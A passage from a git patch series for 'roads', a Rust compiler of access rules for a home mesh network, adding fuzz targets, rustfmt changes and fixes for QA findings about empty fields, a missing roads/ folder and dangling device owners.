let c = compile(store, now()); + (c.plans.values().map(|p| p.to_json()).collect(), c) +} + +fn baseline() -> &'static Vec { + static B: OnceLock> = OnceLock::new(); + B.get_or_init(|| plans_json(&Store::from_parts(&files(None), Some(DIRECTORY), Some(DEVICES))).0) +} + +/// The id the file claims, so the file name can match it and the fuzzer reaches past `id.file-name`. +fn claimed_id(data: &[u8]) -> String { + std::str::from_utf8(data) + .ok() + .and_then(|t| { + t.lines() + .find_map(|l| l.strip_prefix("id: ").map(|v| v.trim_end_matches('\r'))) + }) + .filter(|v| RoadId::new(v).is_some()) + .unwrap_or("zz9zz9") + .to_string() +} + +fuzz_target!(|data: &[u8]| { + let id = claimed_id(data); + let name = format!("{id}-fuzz.md"); + let path = format!("roads/{name}"); + + // 1 and 2: the parser, and the canonical round trip. + let parsed = Road::parse(&path, data); + if let Ok(road) = &parsed { + let text = road.render(); + let again = match Road::parse(&path, text.as_bytes()) { + Ok(r) => r, + Err(p) => panic!("a rendered road does not parse: {p:?}\n--- rendered ---\n{text}"), + }; + assert_eq!(again.render(), text, "render is not a fixed point"); + assert_eq!( + (&again.id, &again.subject, again.verb, &again.object, &again.until, &again.ports, &again.via, again.classic, &again.created, &again.body), + (&road.id, &road.subject, road.verb, &road.object, &road.until, &road.ports, &road.via, road.classic, &road.created, &road.body), + "the canonical text means something else:\n{text}" + ); + } + + // 3 and 4: the compiler behind it, with the home store. + let store = Store::from_parts(&files(Some((&name, data))), Some(DIRECTORY), Some(DEVICES)); + let (plans, c) = plans_json(&store); + let collides = HOME.iter().any(|(n, _)| n.starts_with(&format!("{id}-"))); + let refused = parsed.is_err() || c.errors().any(|p| p.path == path); + if refused && !collides { + assert_eq!(&plans, baseline(), "a refused road changed a plan"); + } +}); diff --git a/fuzz/win_sections.c b/fuzz/win_sections.c new file mode 100644 index 0000000..ebd4ab9 --- /dev/null +++ b/fuzz/win_sections.c @@ -0,0 +1,9 @@ +/* Section bounds for SanitizerCoverage's inline 8-bit counters on Windows (COFF), so the fuzz targets link + * without a sanitizer runtime. LLVM puts the counters in ".SCOV$CM"; the linker sorts ".SCOV$CA" before it and + * ".SCOV$CZ" after it, and libFuzzer reads everything in between. compiler-rt does the same in + * sanitizer_coverage_win_sections.cpp, which only ships inside a sanitizer runtime. Built only for MSVC targets + * and only for the fuzz crate, which is never part of a release. */ +#pragma section(".SCOV$CA", read, write) +__declspec(allocate(".SCOV$CA")) unsigned char __start___sancov_cntrs[1] = {0}; +#pragma section(".SCOV$CZ", read, write) +__declspec(allocate(".SCOV$CZ")) unsigned char __stop___sancov_cntrs[1] = {0}; From 7087b06e24b51d29bb2582c79f5047e4d2687a0f Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 08:16:24 +0100 Subject: [PATCH 07/25] [roads] rustfmt the QA tests and the fuzz targets (no change in behaviour) --- crates/roads/tests/qa_findings.rs | 56 ++++++++++++++++++++++++------- crates/roads/tests/rename.rs | 54 +++++++++++++++++++---------- fuzz/build.rs | 4 ++- fuzz/fuzz_targets/road_file.rs | 35 +++++++++++++++++-- 4 files changed, 114 insertions(+), 35 deletions(-) diff --git a/crates/roads/tests/qa_findings.rs b/crates/roads/tests/qa_findings.rs index 2ba62ae..8213b33 100644 --- a/crates/roads/tests/qa_findings.rs +++ b/crates/roads/tests/qa_findings.rs @@ -96,7 +96,10 @@ fn f02_going_direct_never_overlaps_what_the_tunnel_carries() { #[ignore = "QA F-03 (major): an invalid kill-switch road fails open"] fn f03_a_kill_switch_whose_exit_goes_away_fails_closed() { let parts = Parts::home().edit_devices(|d| { - d.replace(r#""address": "100.96.0.2", "exit": true,"#, r#""address": "100.96.0.2","#) + d.replace( + r#""address": "100.96.0.2", "exit": true,"#, + r#""address": "100.96.0.2","#, + ) }); let c = parts.compile(); assert!(c.has_plans()); @@ -118,7 +121,8 @@ fn f03_a_kill_switch_whose_exit_goes_away_fails_closed() { #[test] #[ignore = "QA F-04 (major): one dangling owner means no plans for anybody"] fn f04_deleting_a_person_revokes_them_and_nobody_else() { - let parts = Parts::home().edit_directory(|d| d.replace(r#" { "id": "petr", "name": "Petr" },"#, "")); + let parts = + Parts::home().edit_directory(|d| d.replace(r#" { "id": "petr", "name": "Petr" },"#, "")); let c = parts.compile(); assert!( c.has_plans(), @@ -126,7 +130,10 @@ fn f04_deleting_a_person_revokes_them_and_nobody_else() { c.errors().map(|p| p.to_string()).collect::>() ); assert!(c.plans[&key(7)].exit.is_none(), "petr-phone kept its exit"); - assert!(c.plans[&key(3)].peers.iter().any(|p| p.key == key(2)), "jana kept hers"); + assert!( + c.plans[&key(3)].peers.iter().any(|p| p.key == key(2)), + "jana kept hers" + ); } /// F-05. A custom road on a classic device is carried as `classic: false` unless the road says otherwise, so the @@ -135,10 +142,15 @@ fn f04_deleting_a_person_revokes_them_and_nobody_else() { #[ignore = "QA F-05 (minor): plan.custom takes `classic` from the road, not from the device"] fn f05_a_custom_block_on_a_classic_device_is_labelled_classic() { let router = key(5); - let text = Parts::home().road_text("x1d7qa").replace("classic: true\n", ""); + let text = Parts::home() + .road_text("x1d7qa") + .replace("classic: true\n", ""); let parts = Parts::home().replace_road("x1d7qa", &text); let c = parts.compile(); - let refused = c.problems.iter().any(|p| p.path.contains("x1d7qa") && p.is_error()); + let refused = c + .problems + .iter() + .any(|p| p.path.contains("x1d7qa") && p.is_error()); let custom = &c.plans[&router].custom; assert!( refused || custom.iter().all(|x| x.classic), @@ -154,7 +166,10 @@ fn f05_a_custom_block_on_a_classic_device_is_labelled_classic() { fn f06_a_road_across_address_families_is_reported() { let parts = with( Parts::home().edit_devices(|d| { - d.replace(r#""routes": ["192.168.100.0/24"]"#, r#""routes": ["192.168.100.0/24", "fd00:1::/64"]"#) + d.replace( + r#""routes": ["192.168.100.0/24"]"#, + r#""routes": ["192.168.100.0/24", "fd00:1::/64"]"#, + ) }), road( "f06aaa", @@ -167,12 +182,19 @@ fn f06_a_road_across_address_families_is_reported() { ), ); let c = parts.compile(); - let mixed = c.plans.values().flat_map(|p| p.firewall.rules.iter()).any(|r| match r.dst { - Dst::Net(n) => n.inner().addr().is_ipv4() != r.src.inner().addr().is_ipv4(), - Dst::Internet => false, - }); + let mixed = c + .plans + .values() + .flat_map(|p| p.firewall.rules.iter()) + .any(|r| match r.dst { + Dst::Net(n) => n.inner().addr().is_ipv4() != r.src.inner().addr().is_ipv4(), + Dst::Internet => false, + }); let reported = c.problems.iter().any(|p| p.path.contains("f06aaa")); - assert!(reported || !mixed, "an IPv4 source to an IPv6 destination, silently"); + assert!( + reported || !mixed, + "an IPv4 source to an IPv6 destination, silently" + ); } /// F-07. A store folder without `roads/` compiles to plans with no access and no problem at all, so pointing @@ -181,8 +203,16 @@ fn f06_a_road_across_address_families_is_reported() { #[ignore = "QA F-07 (minor): a missing roads/ folder is not reported"] fn f07_a_missing_roads_folder_is_reported() { let dir = tempfile::tempdir().unwrap(); - std::fs::copy(common::home_dir().join("directory.json"), dir.path().join("directory.json")).unwrap(); - std::fs::copy(common::home_dir().join("devices.json"), dir.path().join("devices.json")).unwrap(); + std::fs::copy( + common::home_dir().join("directory.json"), + dir.path().join("directory.json"), + ) + .unwrap(); + std::fs::copy( + common::home_dir().join("devices.json"), + dir.path().join("devices.json"), + ) + .unwrap(); let store = Store::load_dir(dir.path()).unwrap(); let c = compile(&store, common::now()); assert!( diff --git a/crates/roads/tests/rename.rs b/crates/roads/tests/rename.rs index c9a3093..c6a456d 100644 --- a/crates/roads/tests/rename.rs +++ b/crates/roads/tests/rename.rs @@ -318,19 +318,24 @@ fn check_isomorphic(seed: u64) -> Result<(), TestCaseError> { prop_assert_eq!(a, b, "the plan of {} depends on how ids are spelt", p0.name); } - let problems = |c: &roads::Compiled, back: bool| -> BTreeSet<(String, Option, String, String)> { - c.problems - .iter() - .map(|p| { - ( - if back { ren.path_back(&p.path) } else { p.path.clone() }, - p.field.clone(), - p.code.to_string(), - format!("{:?}", p.severity), - ) - }) - .collect() - }; + let problems = + |c: &roads::Compiled, back: bool| -> BTreeSet<(String, Option, String, String)> { + c.problems + .iter() + .map(|p| { + ( + if back { + ren.path_back(&p.path) + } else { + p.path.clone() + }, + p.field.clone(), + p.code.to_string(), + format!("{:?}", p.severity), + ) + }) + .collect() + }; prop_assert_eq!(problems(&c0, false), problems(&c1, true)); let (d0, d1) = (s0.devices.as_ref().unwrap(), s1.devices.as_ref().unwrap()); @@ -342,8 +347,10 @@ fn check_isomorphic(seed: u64) -> Result<(), TestCaseError> { (Place::Device(b.clone()), Place::Device(b1.clone())), (Place::Exit(b.clone()), Place::Exit(b1)), ] { - let w0: BTreeSet = - roads::explain(&c0, d0, a, &p0).iter().map(|r| r.to_string()).collect(); + let w0: BTreeSet = roads::explain(&c0, d0, a, &p0) + .iter() + .map(|r| r.to_string()) + .collect(); let w1: BTreeSet = roads::explain(&c1, d1, &a1, &p1) .iter() .map(|r| ren.to_old[r.as_str()].clone()) @@ -363,11 +370,19 @@ fn the_extra_roads_reach_the_order_sensitive_paths() { assert!(codes.contains("exit.conflict"), "{codes:?}"); let mark = &c.plans[&key(1)]; assert!(mark.exit.is_none(), "two exits: neither"); - assert_eq!(mark.kill_switch.as_ref().unwrap().through, None, "two kill switches: no exit"); + assert_eq!( + mark.kill_switch.as_ref().unwrap().through, + None, + "two kill switches: no exit" + ); let jana_phone = &c.plans[&key(3)]; let server = jana_phone.peers.iter().find(|p| p.key == key(2)).unwrap(); assert_eq!(server.via, None, "two different path hints: none"); - assert!(c.errors().next().is_none(), "{:?}", c.errors().collect::>()); + assert!( + c.errors().next().is_none(), + "{:?}", + c.errors().collect::>() + ); } #[test] @@ -378,7 +393,10 @@ fn the_identity_renaming_changes_nothing() { to_new: BTreeMap::new(), to_old: BTreeMap::new(), }; - assert_eq!(common::plans_bytes(&compile(&store_of(&ren.apply(&parts)), now())), before); + assert_eq!( + common::plans_bytes(&compile(&store_of(&ren.apply(&parts)), now())), + before + ); } proptest! { diff --git a/fuzz/build.rs b/fuzz/build.rs index 7658367..aa12674 100644 --- a/fuzz/build.rs +++ b/fuzz/build.rs @@ -2,6 +2,8 @@ fn main() { println!("cargo:rerun-if-changed=win_sections.c"); if std::env::var("CARGO_CFG_TARGET_ENV").as_deref() == Ok("msvc") { - cc::Build::new().file("win_sections.c").compile("win_sections"); + cc::Build::new() + .file("win_sections.c") + .compile("win_sections"); } } diff --git a/fuzz/fuzz_targets/road_file.rs b/fuzz/fuzz_targets/road_file.rs index 727e0f1..9ff98f5 100644 --- a/fuzz/fuzz_targets/road_file.rs +++ b/fuzz/fuzz_targets/road_file.rs @@ -70,7 +70,14 @@ fn plans_json(store: &Store) -> (Vec, roads::Compiled) { fn baseline() -> &'static Vec { static B: OnceLock> = OnceLock::new(); - B.get_or_init(|| plans_json(&Store::from_parts(&files(None), Some(DIRECTORY), Some(DEVICES))).0) + B.get_or_init(|| { + plans_json(&Store::from_parts( + &files(None), + Some(DIRECTORY), + Some(DEVICES), + )) + .0 + }) } /// The id the file claims, so the file name can match it and the fuzzer reaches past `id.file-name`. @@ -101,8 +108,30 @@ fuzz_target!(|data: &[u8]| { }; assert_eq!(again.render(), text, "render is not a fixed point"); assert_eq!( - (&again.id, &again.subject, again.verb, &again.object, &again.until, &again.ports, &again.via, again.classic, &again.created, &again.body), - (&road.id, &road.subject, road.verb, &road.object, &road.until, &road.ports, &road.via, road.classic, &road.created, &road.body), + ( + &again.id, + &again.subject, + again.verb, + &again.object, + &again.until, + &again.ports, + &again.via, + again.classic, + &again.created, + &again.body + ), + ( + &road.id, + &road.subject, + road.verb, + &road.object, + &road.until, + &road.ports, + &road.via, + road.classic, + &road.created, + &road.body + ), "the canonical text means something else:\n{text}" ); } From 635d3802c1aa31bf56620b2c6bed534be7f446cf Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 08:17:26 +0100 Subject: [PATCH 08/25] [roads] QA F-09: an emptied until: or ports: silently widens a road (failing test, ignored) until: with no value (or only a comment) reads as absent, so a temporary grant becomes permanent; ports: with no value reads as all traffic. No problem is reported. Verified to fail on this code. --- crates/roads/tests/qa_findings.rs | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/crates/roads/tests/qa_findings.rs b/crates/roads/tests/qa_findings.rs index 8213b33..0a8f7c4 100644 --- a/crates/roads/tests/qa_findings.rs +++ b/crates/roads/tests/qa_findings.rs @@ -234,3 +234,30 @@ fn f08_mesh_addresses_are_never_internet_addresses() { "198.51.100.4 was accepted as a mesh address; an exit's `internet` rule covers it" ); } + +/// F-09. An empty value means "absent" (docs/FORMATS.md), and for the two conditions that narrow a road absent +/// is the widest value: `until:` left empty is a permanent grant and `ports:` left empty is all traffic, with no +/// problem reported. The same failure as QA R-35 (a misspelt `until`), reached by deleting the value instead. +#[test] +#[ignore = "QA F-09 (major): an emptied `until:` or `ports:` silently widens the road to its maximum"] +fn f09_an_emptied_narrowing_condition_is_an_error() { + for (from, to) in [ + ("until: 2026-11-29T23:59:59+01:00\n", "until:\n"), + ("ports: [tcp/443]\n", "ports:\n"), + ("until: 2026-11-29T23:59:59+01:00\n", "until: # Sunday\n"), + ] { + let text = Parts::home().road_text("7tq0mz").replace(from, to); + assert!(text.contains(to), "fixture edit {to:?}"); + let c = Parts::home().replace_road("7tq0mz", &text).compile(); + assert!( + c.problems.iter().any(|p| p.path.contains("7tq0mz")), + "`{}` compiled as {} with no problem reported", + to.trim_end(), + if to.starts_with("until") { + "a permanent grant" + } else { + "all traffic" + } + ); + } +} From 93ab087648458614239117d26310baa5c5c61279 Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 08:40:01 +0100 Subject: [PATCH 09/25] [roads] QA F-09: a present but empty until: or ports: is key.empty, never absent Clearing a narrowing field (until:, until: # comment, ports:) used to read as absent, which is the widest value: a permanent grant or all traffic. It is now an error, so the road grants nothing. Three fixtures, FORMATS.md updated, and the F-09 test is no longer ignored. --- crates/roads/src/road.rs | 19 +++++++++++++++++++ crates/roads/src/rules.rs | 2 ++ .../roads/tests/fixtures/invalid/expect.txt | 3 +++ .../invalid/roads/a00045-empty-until.md | 8 ++++++++ .../invalid/roads/a00046-until-comment.md | 8 ++++++++ .../invalid/roads/a00047-empty-ports.md | 8 ++++++++ crates/roads/tests/qa_findings.rs | 1 - docs/FORMATS.md | 6 ++++-- 8 files changed, 52 insertions(+), 3 deletions(-) create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00045-empty-until.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00046-until-comment.md create mode 100644 crates/roads/tests/fixtures/invalid/roads/a00047-empty-ports.md diff --git a/crates/roads/src/road.rs b/crates/roads/src/road.rs index 3a7194b..bdd0368 100644 --- a/crates/roads/src/road.rs +++ b/crates/roads/src/road.rs @@ -16,6 +16,8 @@ pub const MAX_FILE: usize = 256 * 1024; pub const REQUIRED: [&str; 4] = ["id", "subject", "verb", "created"]; pub const OPTIONAL: [&str; 5] = ["object", "until", "ports", "via", "classic"]; +/// Optional keys whose absence is their widest value; present but empty is `key.empty`. +pub const NARROWING: [&str; 2] = ["until", "ports"]; /// The canonical key order. pub const ORDER: [&str; 9] = [ "id", "subject", "verb", "object", "until", "ports", "via", "classic", "created", @@ -481,6 +483,23 @@ impl Road { problems.push(p(&f.key, r::KEY_UNKNOWN, "unknown key".into())); } } + // A condition that narrows a road is widest when it is absent (no end, all traffic), so a key that is + // present but empty is an error, never "absent": clearing a field must not widen a road (QA F-09). + for k in NARROWING { + if fields + .iter() + .any(|f| f.key == k && f.value == Value::Absent) + { + problems.push(p( + k, + r::KEY_EMPTY, + format!( + "`{k}:` is empty, which would widen the road to {}; give a value or remove the key", + if k == "until" { "a permanent grant" } else { "all traffic" } + ), + )); + } + } for k in REQUIRED { if get(k).is_none() { problems.push( diff --git a/crates/roads/src/rules.rs b/crates/roads/src/rules.rs index b5cf2fe..c62123a 100644 --- a/crates/roads/src/rules.rs +++ b/crates/roads/src/rules.rs @@ -15,6 +15,7 @@ pub const KEY_DUPLICATE: &str = "key.duplicate"; pub const KEY_MISSING: &str = "key.missing"; pub const KEY_FORBIDDEN: &str = "key.forbidden"; pub const KEY_TYPE: &str = "key.type"; +pub const KEY_EMPTY: &str = "key.empty"; pub const ID_FORMAT: &str = "id.format"; pub const ID_FILE_NAME: &str = "id.file-name"; pub const ID_DUPLICATE: &str = "id.duplicate"; @@ -78,6 +79,7 @@ pub const ALL: &[&str] = &[ KEY_MISSING, KEY_FORBIDDEN, KEY_TYPE, + KEY_EMPTY, ID_FORMAT, ID_FILE_NAME, ID_DUPLICATE, diff --git a/crates/roads/tests/fixtures/invalid/expect.txt b/crates/roads/tests/fixtures/invalid/expect.txt index 87c2278..356787f 100644 --- a/crates/roads/tests/fixtures/invalid/expect.txt +++ b/crates/roads/tests/fixtures/invalid/expect.txt @@ -43,6 +43,9 @@ road a00041-second-exit.md exit.conflict object road a00042-direct-public.md direct.kill-switch object road a00043-custom-object.md key.forbidden object road a00044-tab.md yaml.refused - +road a00045-empty-until.md key.empty until +road a00046-until-comment.md key.empty until +road a00047-empty-ports.md key.empty ports directory unknown-field.directory.json snapshot.json - directory format-two.directory.json snapshot.format format directory bad-person-id.directory.json directory.id people[3].id diff --git a/crates/roads/tests/fixtures/invalid/roads/a00045-empty-until.md b/crates/roads/tests/fixtures/invalid/roads/a00045-empty-until.md new file mode 100644 index 0000000..ba88ecb --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00045-empty-until.md @@ -0,0 +1,8 @@ +--- +id: a00045 +subject: person:jana +verb: can-reach +object: service:photos.home.arpa +until: +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00046-until-comment.md b/crates/roads/tests/fixtures/invalid/roads/a00046-until-comment.md new file mode 100644 index 0000000..e9e28a2 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00046-until-comment.md @@ -0,0 +1,8 @@ +--- +id: a00046 +subject: person:jana +verb: can-reach +object: service:photos.home.arpa +until: # Sunday +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/invalid/roads/a00047-empty-ports.md b/crates/roads/tests/fixtures/invalid/roads/a00047-empty-ports.md new file mode 100644 index 0000000..de536ce --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00047-empty-ports.md @@ -0,0 +1,8 @@ +--- +id: a00047 +subject: person:jana +verb: can-reach +object: service:photos.home.arpa +ports: +created: 2026-11-25T10:00:00+01:00 +--- diff --git a/crates/roads/tests/qa_findings.rs b/crates/roads/tests/qa_findings.rs index 0a8f7c4..2242dfd 100644 --- a/crates/roads/tests/qa_findings.rs +++ b/crates/roads/tests/qa_findings.rs @@ -239,7 +239,6 @@ fn f08_mesh_addresses_are_never_internet_addresses() { /// is the widest value: `until:` left empty is a permanent grant and `ports:` left empty is all traffic, with no /// problem reported. The same failure as QA R-35 (a misspelt `until`), reached by deleting the value instead. #[test] -#[ignore = "QA F-09 (major): an emptied `until:` or `ports:` silently widens the road to its maximum"] fn f09_an_emptied_narrowing_condition_is_an_error() { for (from, to) in [ ("until: 2026-11-29T23:59:59+01:00\n", "until:\n"), diff --git a/docs/FORMATS.md b/docs/FORMATS.md index 881c772..c447b0e 100644 --- a/docs/FORMATS.md +++ b/docs/FORMATS.md @@ -39,7 +39,7 @@ The same strict subset of YAML as Pensum's tickets (Fabrica `core/docs/FORMATS.m | a single-quoted string, `''` for a quote | `subject: 'person:jana'` | | a flow list of scalars | `ports: [tcp/443, udp/53]` | | a block list of scalars, indented under its key | `ports:` then ` - tcp/443` | -| an empty value, meaning *absent* | `until:` | +| an empty value, meaning *absent*; for `until` and `ports` it is an error (`key.empty`) | `via:` | | comment lines, blank lines, a trailing ` # comment` after a plain value or list | `# moved from the router` | Refused, each with an error naming the file, the line and the field (`yaml.refused`): anchors (`&a`), aliases @@ -63,7 +63,9 @@ is not `key: value`, or a bad quoted string, is `yaml.syntax`. Any other key is `key.unknown`. A key that the verb does not take is `key.forbidden`. A list where a single value belongs, or a single value where a list belongs, is `key.type`. A required key that is missing or empty is -`key.missing`. +`key.missing`. `until` and `ports` narrow a road, and absent is their widest value (no end, all traffic), so +either key present with an empty value (`until:`, `until: # Sunday`, `ports:`) is `key.empty`: clearing a field +never widens a road (QA F-09). `ports: []` is `ports.format`. ### References From b6cf29b9a006d7cbcb4c6794b1635256ce2f1f2a Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 08:41:10 +0100 Subject: [PATCH 10/25] [roads] QA F-07: a missing roads/ folder is store.roads, and roads/ is never followed through a link A store folder without roads/ compiled to plans with no access and no problem, kill switches included. It is now an error naming roads. A roads/ that is a file or a symbolic link is refused the same way (the builder's self-review #8): entries inside were already refused, the folder itself was followed. --- crates/roads/src/rules.rs | 2 ++ crates/roads/src/store.rs | 31 ++++++++++++++++++++++++++++++- crates/roads/tests/qa_findings.rs | 1 - crates/roads/tests/validation.rs | 19 +++++++++++++++++++ docs/FORMATS.md | 5 ++++- 5 files changed, 55 insertions(+), 3 deletions(-) diff --git a/crates/roads/src/rules.rs b/crates/roads/src/rules.rs index c62123a..f0ff5dc 100644 --- a/crates/roads/src/rules.rs +++ b/crates/roads/src/rules.rs @@ -8,6 +8,7 @@ pub const FILE_SIZE: &str = "file.size"; pub const FILE_ENCODING: &str = "file.encoding"; pub const FILE_HEADER: &str = "file.header"; pub const FILE_COUNT: &str = "file.count"; +pub const STORE_ROADS: &str = "store.roads"; pub const YAML_REFUSED: &str = "yaml.refused"; pub const YAML_SYNTAX: &str = "yaml.syntax"; pub const KEY_UNKNOWN: &str = "key.unknown"; @@ -72,6 +73,7 @@ pub const ALL: &[&str] = &[ FILE_ENCODING, FILE_HEADER, FILE_COUNT, + STORE_ROADS, YAML_REFUSED, YAML_SYNTAX, KEY_UNKNOWN, diff --git a/crates/roads/src/store.rs b/crates/roads/src/store.rs index 8ab3ba7..66e5ade 100644 --- a/crates/roads/src/store.rs +++ b/crates/roads/src/store.rs @@ -104,7 +104,36 @@ impl Store { let mut files = Vec::new(); let mut problems = Vec::new(); let roads = root.join(ROADS_DIR); - if roads.is_dir() { + // A missing roads/ folder means no road grants anything, kill switches included: say so (QA F-07). The + // folder itself is never followed through a symbolic link, like the entries inside it. + let readable = match std::fs::symlink_metadata(&roads) { + Err(e) if e.kind() == std::io::ErrorKind::NotFound => { + problems.push(Problem::error( + ROADS_DIR, + None, + r::STORE_ROADS, + "missing: there is no roads/ folder, so no road grants anything and no kill switch is on", + )); + false + } + Err(e) => return Err(e), + Ok(m) if !m.file_type().is_dir() => { + let what = if m.file_type().is_symlink() { + "a symbolic link" + } else { + "not a folder" + }; + problems.push(Problem::error( + ROADS_DIR, + None, + r::STORE_ROADS, + format!("{what}; roads/ must be a real folder, so no road was read"), + )); + false + } + Ok(_) => true, + }; + if readable { for entry in std::fs::read_dir(&roads)? { let entry = entry?; let name = entry.file_name().to_string_lossy().into_owned(); diff --git a/crates/roads/tests/qa_findings.rs b/crates/roads/tests/qa_findings.rs index 2242dfd..c7169bb 100644 --- a/crates/roads/tests/qa_findings.rs +++ b/crates/roads/tests/qa_findings.rs @@ -200,7 +200,6 @@ fn f06_a_road_across_address_families_is_reported() { /// F-07. A store folder without `roads/` compiles to plans with no access and no problem at all, so pointing /// `--store` one folder too high revokes everything, kill switches included, without a word. #[test] -#[ignore = "QA F-07 (minor): a missing roads/ folder is not reported"] fn f07_a_missing_roads_folder_is_reported() { let dir = tempfile::tempdir().unwrap(); std::fs::copy( diff --git a/crates/roads/tests/validation.rs b/crates/roads/tests/validation.rs index 1de5b7d..07355e8 100644 --- a/crates/roads/tests/validation.rs +++ b/crates/roads/tests/validation.rs @@ -207,6 +207,25 @@ fn generated(baseline: &[u8]) -> BTreeSet { .any(|p| p.path == "directory.json" && p.code == rules::SNAPSHOT_JSON) ); assert!(c.plans.is_empty()); + // store.roads: a store folder without roads/, and one whose roads/ is a file (QA F-07). + for make_roads in [false, true] { + let tmp = tempfile::tempdir().unwrap(); + for f in ["directory.json", "devices.json"] { + std::fs::copy(common::home_dir().join(f), tmp.path().join(f)).unwrap(); + } + if make_roads { + std::fs::write(tmp.path().join("roads"), "not a folder").unwrap(); + } + let s = Store::load_dir(tmp.path()).unwrap(); + assert!( + s.problems + .iter() + .any(|p| p.path == "roads" && p.code == rules::STORE_ROADS && p.is_error()), + "{:?}", + s.problems + ); + } + hit.insert(rules::STORE_ROADS.into()); hit } diff --git a/docs/FORMATS.md b/docs/FORMATS.md index c447b0e..898ac6c 100644 --- a/docs/FORMATS.md +++ b/docs/FORMATS.md @@ -14,7 +14,10 @@ versioned; a change that an older build would misread bumps the version. `roads/` holds only regular files named `-.md`. Anything else in it — a folder, a symbolic link, a file with another name — is an error (`file.kind`), so the folder can never hold something the compiler does -not read. Files are read in byte order of their names. At most 10,000 road files. +not read. Files are read in byte order of their names. At most 10,000 road files. A store without a `roads/` +folder, or whose `roads/` is a file or a symbolic link, is `store.roads`: nothing is read, nothing is granted, +and it is said out loud, because pointing `--store` one folder too high would otherwise revoke everything, +kill switches included, without a word (QA F-07). ## Road files From acb98a6a1c436d731d901612cfb4f1058eacc527 Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 08:44:09 +0100 Subject: [PATCH 11/25] [roads] QA F-04: a dangling owner or group member drops only itself, not every plan Deleting a person from directory.json without editing devices.json left a dangling owner, a snapshot error, and so no plans for anybody. A well-formed owner or member id that is not a person is now reported on its own codes (devices.owner-unknown, directory.member-unknown) and removed: the device is ownerless, the member leaves the group. Malformed ids, duplicates and bad JSON still stop every plan. Two new structural fixtures keep devices.owner and directory.member covered. --- crates/roads/src/rules.rs | 4 + crates/roads/src/snapshot.rs | 78 +++++++++++++------ crates/roads/src/store.rs | 10 ++- .../roads/tests/fixtures/invalid/expect.txt | 9 ++- .../snapshots/member-bad-id.directory.json | 12 +++ .../snapshots/member-twice.directory.json | 12 +++ .../snapshots/owner-bad-id.devices.json | 17 ++++ crates/roads/tests/qa_findings.rs | 1 - crates/roads/tests/revocation.rs | 3 +- crates/roads/tests/validation.rs | 16 ++++ docs/FORMATS.md | 11 ++- 11 files changed, 141 insertions(+), 32 deletions(-) create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/member-bad-id.directory.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/member-twice.directory.json create mode 100644 crates/roads/tests/fixtures/invalid/snapshots/owner-bad-id.devices.json diff --git a/crates/roads/src/rules.rs b/crates/roads/src/rules.rs index f0ff5dc..f9589a5 100644 --- a/crates/roads/src/rules.rs +++ b/crates/roads/src/rules.rs @@ -56,10 +56,12 @@ pub const DIRECTORY_ID: &str = "directory.id"; pub const DIRECTORY_DUPLICATE: &str = "directory.duplicate"; pub const DIRECTORY_NAME: &str = "directory.name"; pub const DIRECTORY_MEMBER: &str = "directory.member"; +pub const DIRECTORY_MEMBER_UNKNOWN: &str = "directory.member-unknown"; pub const DEVICES_KEY: &str = "devices.key"; pub const DEVICES_DUPLICATE: &str = "devices.duplicate"; pub const DEVICES_NAME: &str = "devices.name"; pub const DEVICES_OWNER: &str = "devices.owner"; +pub const DEVICES_OWNER_UNKNOWN: &str = "devices.owner-unknown"; pub const DEVICES_ADDRESS: &str = "devices.address"; pub const DEVICES_ROUTE: &str = "devices.route"; pub const DEVICES_OVERLAP: &str = "devices.overlap"; @@ -117,10 +119,12 @@ pub const ALL: &[&str] = &[ DIRECTORY_DUPLICATE, DIRECTORY_NAME, DIRECTORY_MEMBER, + DIRECTORY_MEMBER_UNKNOWN, DEVICES_KEY, DEVICES_DUPLICATE, DEVICES_NAME, DEVICES_OWNER, + DEVICES_OWNER_UNKNOWN, DEVICES_ADDRESS, DEVICES_ROUTE, DEVICES_OVERLAP, diff --git a/crates/roads/src/snapshot.rs b/crates/roads/src/snapshot.rs index d1c3f77..6df6e9a 100644 --- a/crates/roads/src/snapshot.rs +++ b/crates/roads/src/snapshot.rs @@ -1,5 +1,11 @@ //! The two snapshots the compiler reads besides the roads: `directory.json` and `devices.json` -//! (docs/FORMATS.md). Both are strict: unknown fields are errors, and any error means no plan is produced. +//! (docs/FORMATS.md). Both are strict: unknown fields are errors, and a *structural* error (bad JSON, a wrong +//! format, a malformed or duplicate id, key or address) means no plan is produced. +//! +//! A *dangling reference* is different (QA F-04): a group member or a device owner that is a well-formed id +//! but no longer a person in the directory. That is what deleting a person upstream leaves behind. It is +//! still an error, and reported, but it only removes that reference: the member leaves the group, the device +//! becomes ownerless (reached only by `device:` roads). Everybody else keeps their plans. use crate::ids::{ DeviceKey, GroupId, Hostname, PersonId, clip, is_device_key, is_hostname, is_opaque_id, @@ -173,11 +179,17 @@ pub fn is_hidden_char(c: char) -> bool { || matches!(c, '\u{2028}' | '\u{2029}' | '\u{200b}'..='\u{200f}' | '\u{202a}'..='\u{202e}' | '\u{2060}'..='\u{2069}' | '\u{feff}') } +/// A parsed snapshot and the dangling references dropped from it (errors that do not stop plans). +pub type Parsed = Result<(T, Vec), Vec>; + impl Directory { - pub fn parse(bytes: &[u8]) -> Result> { + /// `Err`: a structural error, no directory. `Ok((dir, dangling))`: `dangling` lists the members left + /// out because they are not people in the directory. + pub fn parse(bytes: &[u8]) -> Parsed { let path = DIRECTORY_FILE; let raw: RawDirectory = read_json(path, bytes)?; let mut problems = Vec::new(); + let mut dangling = Vec::new(); let mut e = |field: String, code, msg: String| { problems.push(Problem::error(path, Some(&field), code, msg)) }; @@ -247,8 +259,8 @@ impl Directory { } let mut members = BTreeSet::new(); for (j, m) in g.members.iter().enumerate() { - match 